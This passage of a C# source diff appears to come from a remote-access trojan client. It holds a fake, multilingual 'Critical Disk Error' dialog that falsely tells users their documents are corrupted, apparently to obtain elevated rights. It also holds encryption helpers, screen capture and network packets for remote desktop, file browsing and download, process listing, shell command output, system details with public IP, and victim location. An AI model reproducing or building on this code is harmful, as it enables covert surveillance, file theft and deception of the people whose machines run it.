while (length >= 16)
{
*(ulong*)dst = *(ulong*)src; dst += 8; src += 8;
*(ulong*)dst = *(ulong*)src; dst += 8; src += 8;
length -= 16;
}
if (length >= 8)
{
*(ulong*)dst = *(ulong*)src; dst += 8; src += 8;
length -= 8;
}
if (length >= 4)
{
*(uint*)dst = *(uint*)src; dst += 4; src += 4;
length -= 4;
}
if (length >= 2)
{
*(ushort*)dst = *(ushort*)src; dst += 2; src += 2;
length -= 2;
}
if (length != 0)
*dst = *src;
}
}
}

View File

@ -0,0 +1,24 @@
using System;
using System.Windows.Forms;
namespace Core.Elevation
{
public class CommandButton : Button
{
public CommandButton()
{
this.FlatStyle = FlatStyle.System;
}
protected override CreateParams CreateParams
{
get
{
CreateParams cParams = base.CreateParams;
if (Environment.OSVersion.Version.Major >= 6)
cParams.Style |= 14;
return cParams;
}
}
}
}

View File

@ -0,0 +1,171 @@
namespace Core.Elevation
{
partial class frmElevation
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.lblHead = new System.Windows.Forms.Label();
this.picError = new System.Windows.Forms.PictureBox();
this.panelBot = new System.Windows.Forms.Panel();
this.linkError = new System.Windows.Forms.LinkLabel();
this.picInfo = new System.Windows.Forms.PictureBox();
this.lblText = new System.Windows.Forms.Label();
this.btnRestoreAndCheck = new Core.Elevation.CommandButton();
this.btnRestore = new Core.Elevation.CommandButton();
((System.ComponentModel.ISupportInitialize)(this.picError)).BeginInit();
this.panelBot.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picInfo)).BeginInit();
this.SuspendLayout();
//
// lblHead
//
this.lblHead.AutoSize = true;
this.lblHead.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblHead.ForeColor = System.Drawing.Color.MediumBlue;
this.lblHead.Location = new System.Drawing.Point(60, 12);
this.lblHead.Name = "lblHead";
this.lblHead.Size = new System.Drawing.Size(79, 20);
this.lblHead.TabIndex = 2;
this.lblHead.Text = "%ERROR%";
//
// picError
//
this.picError.Location = new System.Drawing.Point(12, 12);
this.picError.Name = "picError";
this.picError.Size = new System.Drawing.Size(42, 42);
this.picError.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picError.TabIndex = 3;
this.picError.TabStop = false;
//
// panelBot
//
this.panelBot.BackColor = System.Drawing.Color.WhiteSmoke;
this.panelBot.Controls.Add(this.linkError);
this.panelBot.Controls.Add(this.picInfo);
this.panelBot.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panelBot.Location = new System.Drawing.Point(0, 245);
this.panelBot.Name = "panelBot";
this.panelBot.Size = new System.Drawing.Size(542, 38);
this.panelBot.TabIndex = 4;
//
// linkError
//
this.linkError.AutoSize = true;
this.linkError.Location = new System.Drawing.Point(37, 11);
this.linkError.Name = "linkError";
this.linkError.Size = new System.Drawing.Size(88, 13);
this.linkError.TabIndex = 1;
this.linkError.TabStop = true;
this.linkError.Text = "%MOREDETAILS";
this.linkError.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.linkError_LinkClicked);
//
// picInfo
//
this.picInfo.Image = global::Client.Properties.Resources.information;
this.picInfo.Location = new System.Drawing.Point(12, 10);
this.picInfo.Name = "picInfo";
this.picInfo.Size = new System.Drawing.Size(16, 16);
this.picInfo.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picInfo.TabIndex = 0;
this.picInfo.TabStop = false;
//
// lblText
//
this.lblText.AutoSize = true;
this.lblText.Location = new System.Drawing.Point(61, 48);
this.lblText.Name = "lblText";
this.lblText.Size = new System.Drawing.Size(47, 13);
this.lblText.TabIndex = 5;
this.lblText.Text = "%TEXT%";
//
// btnRestoreAndCheck
//
this.btnRestoreAndCheck.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.btnRestoreAndCheck.Location = new System.Drawing.Point(12, 190);
this.btnRestoreAndCheck.Name = "btnRestoreAndCheck";
this.btnRestoreAndCheck.Size = new System.Drawing.Size(518, 42);
this.btnRestoreAndCheck.TabIndex = 1;
this.btnRestoreAndCheck.Text = "%RESTOREANDCHECK%";
this.btnRestoreAndCheck.UseVisualStyleBackColor = true;
this.btnRestoreAndCheck.Click += new System.EventHandler(this.btnRestoreAndCheck_Click);
//
// btnRestore
//
this.btnRestore.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.btnRestore.Location = new System.Drawing.Point(12, 140);
this.btnRestore.Name = "btnRestore";
this.btnRestore.Size = new System.Drawing.Size(518, 42);
this.btnRestore.TabIndex = 0;
this.btnRestore.Text = "%RESTORE%";
this.btnRestore.UseVisualStyleBackColor = true;
this.btnRestore.Click += new System.EventHandler(this.btnRestore_Click);
//
// frmElevation
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
this.ClientSize = new System.Drawing.Size(542, 283);
this.ControlBox = false;
this.Controls.Add(this.lblText);
this.Controls.Add(this.picError);
this.Controls.Add(this.lblHead);
this.Controls.Add(this.btnRestoreAndCheck);
this.Controls.Add(this.btnRestore);
this.Controls.Add(this.panelBot);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "frmElevation";
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "%TITLE%";
this.TopMost = true;
this.Paint += new System.Windows.Forms.PaintEventHandler(this.frmElevation_Paint);
((System.ComponentModel.ISupportInitialize)(this.picError)).EndInit();
this.panelBot.ResumeLayout(false);
this.panelBot.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.picInfo)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private CommandButton btnRestore;
private CommandButton btnRestoreAndCheck;
private System.Windows.Forms.Label lblHead;
private System.Windows.Forms.PictureBox picError;
private System.Windows.Forms.Panel panelBot;
private System.Windows.Forms.Label lblText;
private System.Windows.Forms.PictureBox picInfo;
private System.Windows.Forms.LinkLabel linkError;
}
}

View File

@ -0,0 +1,126 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Core.Elevation
{
public partial class frmElevation : Form
{
public frmElevation()
{
InitializeComponent();
picError.Image = SystemIcons.Error.ToBitmap();
SetLanguage();
}
private void SetLanguage()
{
string CountryCode = System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName;
//string CountryCode = "ES";
switch (CountryCode)
{
case "PL": // by navaro21
this.Text = "Krytyczny błąd dysku";
lblHead.Text = "Plik lub lokalizacja została uszkodzona i jest niezdolna do odczytu.";
lblText.Text = "Zostało znalezionych wiele uszkodzonych plików w lokalizacji 'Moje Dokumenty'. Aby\nzapobiec poważnej utraty danych pozwól systemowi Windows odzyskać te pliki.\n\n" +
"Uszkodzona lokalizacja: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Liczba uszkodzonych plików: 4";
btnRestore.Text = "Odzyskaj pliki";
btnRestoreAndCheck.Text = "Odzyskaj pliki i sprawdź dysk w poszukiwaniu błędów.";
linkError.Text = "Więcej szczegółów o tym błędzie";
break;
case "RU": // by GameFire
this.Text = "Критическая ошибка диска";
lblHead.Text = "Этот файл или каталог поврежден и нечитаемый";
lblText.Text = "Несколько поврежденные файлы были найдены в каталоге 'Мои документы'. Для\nтогочтобы предотвратить потерю данных, пожалуйста позвольте Windows\nвосстановить эти файлы.\n\n" +
"Поврежденный каталог: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Количество поврежденных файлов: 4";
btnRestore.Text = "Восстановление файлов";
btnRestoreAndCheck.Text = "Восстановить файлы и проверять диск для ошибок";
linkError.Text = "Подробнее об этой ошибке";
break;
case "FI": // by Perfectionist & Qmz_
this.Text = "Kriittinen levyvirhe";
lblHead.Text = "Tiedosto tai hakemisto on vioittunut ja lukukelvoton";
lblText.Text = "Useita vioittuineita tiedostoja on löytynyt kansiosta 'Omat tiedostot'. Ehkäistäksesi\nvakavan tietojen menetyksen, salli Windowsin palauttaa nämä tiedostot.\n\n" +
"Vioittunut kansio: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Korruptoituneiden tiedostojen määrä: 4";
btnRestore.Text= "Palauta tiedostot";
btnRestoreAndCheck.Text = "Palauta tiedostot ja aloita virheiden etsiminen";
linkError.Text = "Lisätietoja virheestä";
break;
case "NL": // by DeadLine
this.Text = "Kritieke schrijffout";
lblHead.Text = "Het bestand of pad is corrupt of onleesbaar";
lblText.Text = "Meerdere corrupte bestanden zijn gevonden in het pad 'Mijn Documenten'. Gelieve de\nbestanden door Windows te laten herstellen om dataverlies te voorkomen.\n\n" +
"Corrupt pad: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Aantal corrupte bestanden: 4";
btnRestore.Text = "Herstel bestanden";
btnRestoreAndCheck.Text = "Herstel bestanden en controleer op schijffouten";
linkError.Text = "Meer informatie over deze fout";
break;
case "FR": // by Increment
this.Text = "Erreur Critique du Disque ";
lblHead.Text = "Le fichier ou le dossier spécifié est corrompu";
lblText.Text = "De nombreux fichiers corrompus ont été trouvés dans le dossier 'Mes Documents'. Pour\néviter toute perte de donnée, veuillez autoriser Windows à restaurer vos fichiers et\ndonnées.\n\n" +
"Dossier corrompu : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Nombre de fichier(s) corrompu(s) : 4";
btnRestore.Text = "Restaurer les fichiers";
btnRestoreAndCheck.Text = "Restaurer les fichiers et vérifier des érreurs sur le disque ";
linkError.Text = "En savoir plus à propos de cette erreurs";
break;
case "ES": // by Xenocode
this.Text = "Error critico del disco duro";
lblHead.Text = "El archivo o directorio está dañado y no se puede leer";
lblText.Text = "Algunos archivos dañados múltiples han sido encontrados en el directorio 'Mis Documentos'.\nPara prevenir la pérdida grave de datos, permita por favor de Windows para recuperar\nestos archivos.\n\n" +
"Directorio dañado : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Archivos corrupots : 4";
btnRestore.Text = "Recuperar archivos";
btnRestoreAndCheck.Text = "Reparar archivos y comprobar si hay errores en el disco dur";
linkError.Text = "Detalles de Errores";
break;
case "DE":
this.Text = "Kritischer Festplatten Fehler";
lblHead.Text = "Die Datei oder das Verzeichnis ist beschädigt und nicht lesbar";
lblText.Text = "Es wurden mehrere beschädigte Dateien in dem Verzeichnis 'Meine Dokumente' gefunden.\nUm einen ernsthaften Datenverlust zu vermeiden, erlauben Sie bitte Windows, die Dateien\nwiederherzustellen.\n\n" +
"Beschädigtes Verzeichnis: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Anzahl der beschädigten Dateien: 4";
btnRestore.Text = "Dateien wiederherstellen";
btnRestoreAndCheck.Text = "Dateien wiederherstellen und Festplatte auf Fehler überprüfen";
linkError.Text = "Mehr Informationen zu diesem Fehler";
break;
default: // this includes GB, US and all other
this.Text = "Critical Disk Error";
lblHead.Text = "The file or directory is corrupted and unreadable";
lblText.Text = "Multiple corrupted files have been found in the directory 'My Documents'. To prevent\nserious loss of data, please allow Windows to restore these files.\n\n" +
"Corrupted directory: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Corrupted files count: 4";
btnRestore.Text = "Restore files";
btnRestoreAndCheck.Text = "Restore files and check disk for errors";
linkError.Text = "More details about this error";
break;
}
}
private void frmElevation_Paint(object sender, PaintEventArgs e)
{
e.Graphics.DrawLine(Pens.Gray, new Point(0, panelBot.Location.Y - 1), new Point(this.Width, panelBot.Location.Y - 1));
}
private void btnRestore_Click(object sender, EventArgs e)
{
this.Close();
}
private void btnRestoreAndCheck_Click(object sender, EventArgs e)
{
this.Close();
}
private void linkError_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
System.Diagnostics.Process.Start("http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx");
}
}
}

View File

@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -0,0 +1,70 @@
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace Core.Encryption
{
class AES
{
public static string Encrypt(string input, string keyy)
{
RijndaelManaged rd = new RijndaelManaged();
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
byte[] key = md5.ComputeHash(Encoding.UTF8.GetBytes(keyy));
md5.Clear();
rd.Key = key;
rd.GenerateIV();
byte[] iv = rd.IV;
MemoryStream ms = new MemoryStream();
ms.Write(iv, 0, iv.Length);
CryptoStream cs = new CryptoStream(ms, rd.CreateEncryptor(), CryptoStreamMode.Write);
byte[] data = System.Text.Encoding.UTF8.GetBytes(input);
cs.Write(data, 0, data.Length);
cs.FlushFinalBlock();
byte[] encdata = ms.ToArray();
cs.Close();
rd.Clear();
ms.Close();
return Convert.ToBase64String(encdata);
}
public static string Decrypt(string input, string keyy)
{
RijndaelManaged rd = new RijndaelManaged();
int rijndaelIvLength = 16;
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
byte[] key = md5.ComputeHash(Encoding.UTF8.GetBytes(keyy));
md5.Clear();
byte[] encdata = Convert.FromBase64String(input);
MemoryStream ms = new MemoryStream(encdata);
byte[] iv = new byte[16];
ms.Read(iv, 0, rijndaelIvLength);
rd.IV = iv;
rd.Key = key;
CryptoStream cs = new CryptoStream(ms, rd.CreateDecryptor(), CryptoStreamMode.Read);
byte[] data = new byte[ms.Length - rijndaelIvLength + 1];
int i = cs.Read(data, 0, data.Length);
cs.Close();
rd.Clear();
ms.Close();
return System.Text.Encoding.UTF8.GetString(data, 0, i);
}
}
}

View File

@ -0,0 +1,49 @@
using System.Text;
namespace Core.Encryption
{
class RC4
{
public static byte[] Encrypt(byte[] input, string key)
{
byte[] bKey = System.Text.Encoding.UTF8.GetBytes(key);
byte[] s = new byte[256];
byte[] k = new byte[256];
byte temp;
int i, j;
for (i = 0; i < 256; i++)
{
s[i] = (byte)i;
k[i] = bKey[i % bKey.GetLength(0)];
}
j = 0;
for (i = 0; i < 256; i++)
{
j = (j + s[i] + k[i]) % 256;
temp = s[i];
s[i] = s[j];
s[j] = temp;
}
i = j = 0;
for (int x = 0; x < input.GetLength(0); x++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
temp = s[i];
s[i] = s[j];
s[j] = temp;
int t = (s[i] + s[j]) % 256;
input[x] ^= s[t];
}
return input;
}
public static byte[] Decrypt(byte[] input, string key)
{
return Encrypt(input, key);
}
}
}

View File

@ -0,0 +1,166 @@
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
namespace Core
{
class Helper
{
private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
private static Random _rnd = new Random(Environment.TickCount);
public static string GetRandomFilename(int length, string extension)
{
char[] tempChars = new char[length];
for (int i = 0; i < length; i++)
tempChars[i] = CHARS[_rnd.Next(CHARS.Length)];
return new string(tempChars) + extension;
}
public static string GetRandomName(int length)
{
char[] tempChars = new char[length];
for (int i = 0; i < length; i++)
tempChars[i] = CHARS[_rnd.Next(CHARS.Length)];
return new string(tempChars);
}
public static byte[] CImgToByte(Image image, System.Drawing.Imaging.ImageFormat format)
{
using (MemoryStream ms = new MemoryStream())
{
image.Save(ms, format);
return ms.ToArray();
}
}
public static Bitmap GetDesktop(int Mode, int Number)
{
Rectangle bounds;
Bitmap screenshot;
Graphics graph;
bounds = Screen.AllScreens[Number].Bounds;
screenshot = new Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
graph = Graphics.FromImage(screenshot);
if (Mode == 1)
graph.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighSpeed;
else if (Mode == 2)
graph.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighQuality;
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
return screenshot;
}
public static unsafe Bitmap GetDiffDesktop(Bitmap bmp, Bitmap bmp2)
{
if (bmp.Width != bmp2.Width || bmp.Height != bmp2.Height)
throw new Exception("Sizes must be equal.");
Bitmap bmpRes = null;
System.Drawing.Imaging.BitmapData bmData = null;
System.Drawing.Imaging.BitmapData bmData2 = null;
System.Drawing.Imaging.BitmapData bmDataRes = null;
try
{
bmpRes = new Bitmap(bmp.Width, bmp.Height);
bmData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), System.Drawing.Imaging.ImageLockMode.ReadOnly, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
bmData2 = bmp2.LockBits(new Rectangle(0, 0, bmp2.Width, bmp2.Height), System.Drawing.Imaging.ImageLockMode.ReadOnly, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
bmDataRes = bmpRes.LockBits(new Rectangle(0, 0, bmpRes.Width, bmpRes.Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
IntPtr scan0 = bmData.Scan0;
IntPtr scan02 = bmData2.Scan0;
IntPtr scan0Res = bmDataRes.Scan0;
int stride = bmData.Stride;
int stride2 = bmData2.Stride;
int strideRes = bmDataRes.Stride;
int nWidth = bmp.Width;
int nHeight = bmp.Height;
for (int y = 0; y < nHeight; y++)
{
//define the pointers inside the first loop for parallelizing
byte* p = (byte*)scan0.ToPointer();
p += y * stride;
byte* p2 = (byte*)scan02.ToPointer();
p2 += y * stride2;
byte* pRes = (byte*)scan0Res.ToPointer();
pRes += y * strideRes;
for (int x = 0; x < nWidth; x++)
{
//always get the complete pixel when differences are found
if (p[0] != p2[0] || p[1] != p2[1] || p[2] != p2[2])
{
pRes[0] = p2[0];
pRes[1] = p2[1];
pRes[2] = p2[2];
//alpha (opacity)
pRes[3] = p2[3];
}
p += 4;
p2 += 4;
pRes += 4;
}
}
bmp.UnlockBits(bmData);
bmp2.UnlockBits(bmData2);
bmpRes.UnlockBits(bmDataRes);
}
catch
{
if (bmData != null)
{
try
{
bmp.UnlockBits(bmData);
}
catch
{ }
}
if (bmData2 != null)
{
try
{
bmp2.UnlockBits(bmData2);
}
catch
{ }
}
if (bmDataRes != null)
{
try
{
bmpRes.UnlockBits(bmDataRes);
}
catch
{ }
}
if (bmpRes != null)
{
bmpRes.Dispose();
bmpRes = null;
}
}
return bmpRes;
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class DesktopResponse : IPacket
{
[ProtoMember(1)]
public byte[] Image { get; set; }
public DesktopResponse() { }
public DesktopResponse(byte[] image)
{
this.Image = image;
}
public void Execute(Client client)
{
client.Send<DesktopResponse>(this);
}
}
}

View File

@ -0,0 +1,30 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class DirectoryResponse : IPacket
{
[ProtoMember(1)]
public string[] Files { get; set; }
[ProtoMember(2)]
public string[] Folders { get; set; }
[ProtoMember(3)]
public long[] FilesSize { get; set; }
public DirectoryResponse() { }
public DirectoryResponse(string[] files, string[] folders, long[] filessize)
{
this.Files = files;
this.Folders = folders;
this.FilesSize = filessize;
}
public void Execute(Client client)
{
client.Send<DirectoryResponse>(this);
}
}
}

View File

@ -0,0 +1,30 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class DownloadFileResponse : IPacket
{
[ProtoMember(1)]
public string Filename { get; set; }
[ProtoMember(2)]
public byte[] FileByte { get; set; }
[ProtoMember(3)]
public int ID { get; set; }
public DownloadFileResponse() { }
public DownloadFileResponse(string filename, byte[] filebyte, int id)
{
this.Filename = filename;
this.FileByte = filebyte;
this.ID = id;
}
public void Execute(Client client)
{
client.Send<DownloadFileResponse>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class DrivesResponse : IPacket
{
[ProtoMember(1)]
public string[] Drives { get; set; }
public DrivesResponse() { }
public DrivesResponse(string[] drives)
{
this.Drives = drives;
}
public void Execute(Client client)
{
client.Send<DrivesResponse>(this);
}
}
}

View File

@ -0,0 +1,30 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class GetProcessesResponse : IPacket
{
[ProtoMember(1)]
public string[] Processes { get; set; }
[ProtoMember(2)]
public int[] IDs { get; set; }
[ProtoMember(3)]
public string[] Titles { get; set; }
public GetProcessesResponse() { }
public GetProcessesResponse(string[] processes, int[] ids, string[] titles)
{
this.Processes = processes;
this.IDs = ids;
this.Titles = titles;
}
public void Execute(Client client)
{
client.Send<GetProcessesResponse>(this);
}
}
}

View File

@ -0,0 +1,50 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class GetSystemInfoResponse : IPacket
{
[ProtoMember(1)]
public string CPU { get; set; }
[ProtoMember(2)]
public int RAM { get; set; }
[ProtoMember(3)]
public string GPU { get; set; }
[ProtoMember(4)]
public string Username { get; set; }
[ProtoMember(5)]
public string PCName { get; set; }
[ProtoMember(6)]
public string Uptime { get; set; }
[ProtoMember(7)]
public string LAN { get; set; }
[ProtoMember(8)]
public string WAN { get; set; }
public GetSystemInfoResponse() { }
public GetSystemInfoResponse(string cpu, int ram, string gpu, string username, string pcname, string uptime, string lan, string wan)
{
this.CPU = cpu;
this.RAM = ram;
this.GPU = gpu;
this.Username = username;
this.PCName = pcname;
this.Uptime = uptime;
this.LAN = lan;
this.WAN = wan;
}
public void Execute(Client client)
{
client.Send<GetSystemInfoResponse>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class MonitorsResponse : IPacket
{
[ProtoMember(1)]
public int Number { get; set; }
public MonitorsResponse() { }
public MonitorsResponse(int number)
{
this.Number = number;
}
public void Execute(Client client)
{
client.Send<MonitorsResponse>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class ShellCommandResponse : IPacket
{
[ProtoMember(1)]
public string Output { get; set; }
public ShellCommandResponse() { }
public ShellCommandResponse(string output)
{
this.Output = output;
}
public void Execute(Client client)
{
client.Send<ShellCommandResponse>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class Status : IPacket
{
[ProtoMember(1)]
public string Message { get; set; }
public Status() { }
public Status(string message)
{
Message = message;
}
public void Execute(Client client)
{
client.Send<Status>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class UserStatus : IPacket
{
[ProtoMember(1)]
public string Message { get; set; }
public UserStatus() { }
public UserStatus(string message)
{
Message = message;
}
public void Execute(Client client)
{
client.Send<UserStatus>(this);
}
}
}

View File

@ -0,0 +1,50 @@
using ProtoBuf;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class Initialize : IPacket
{
[ProtoMember(1)]
public string Version { get; set; }
[ProtoMember(2)]
public string OperatingSystem { get; set; }
[ProtoMember(3)]
public string AccountType { get; set; }
[ProtoMember(4)]
public string Country { get; set; }
[ProtoMember(5)]
public string CountryCode { get; set; }
[ProtoMember(6)]
public string Region { get; set; }
[ProtoMember(7)]
public string City { get; set; }
[ProtoMember(8)]
public int ImageIndex { get; set; }
public Initialize() { }
public Initialize(string version, string operatingsystem, string accounttype, string country, string countrycode, string region, string city, int imageindex)
{
Version = version;
OperatingSystem = operatingsystem;
AccountType = accounttype;
Country = country;
CountryCode = countrycode;
Region = region;
City = city;
ImageIndex = imageindex;
}
public void Execute(Client client)
{
client.Send<Initialize>(this);
}
}
}

View File

@ -0,0 +1,20 @@
using Core.Packets;
using ProtoBuf;
using System;
using System.Collections.Generic;
using System.Text;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
internal class KeepAliveResponse : IPacket
{
[ProtoMember(1)]
public DateTime TimeSent { get; set; }
public void Execute(Client client)
{
client.Send<KeepAliveResponse>(this);
}
}
}

View File

@ -0,0 +1,7 @@
namespace Core.Packets
{
public interface IPacket
{
void Execute(Client client);
}
}

View File

@ -0,0 +1,26 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class Desktop : IPacket
{
[ProtoMember(1)]
public int Mode { get; set; }
[ProtoMember(2)]
public int Number { get; set; }
public Desktop() { }
public Desktop(int mode, int number)
{
this.Mode = mode;
this.Number = number;
}
public void Execute(Client client)
{
client.Send<Desktop>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class Directory : IPacket
{
[ProtoMember(1)]
public string RemotePath { get; set; }
public Directory() { }
public Directory(string remotepath)
{
this.RemotePath = remotepath;
}
public void Execute(Client client)
{
client.Send<Directory>(this);
}
}
}

View File

@ -0,0 +1,15 @@
using ProtoBuf;
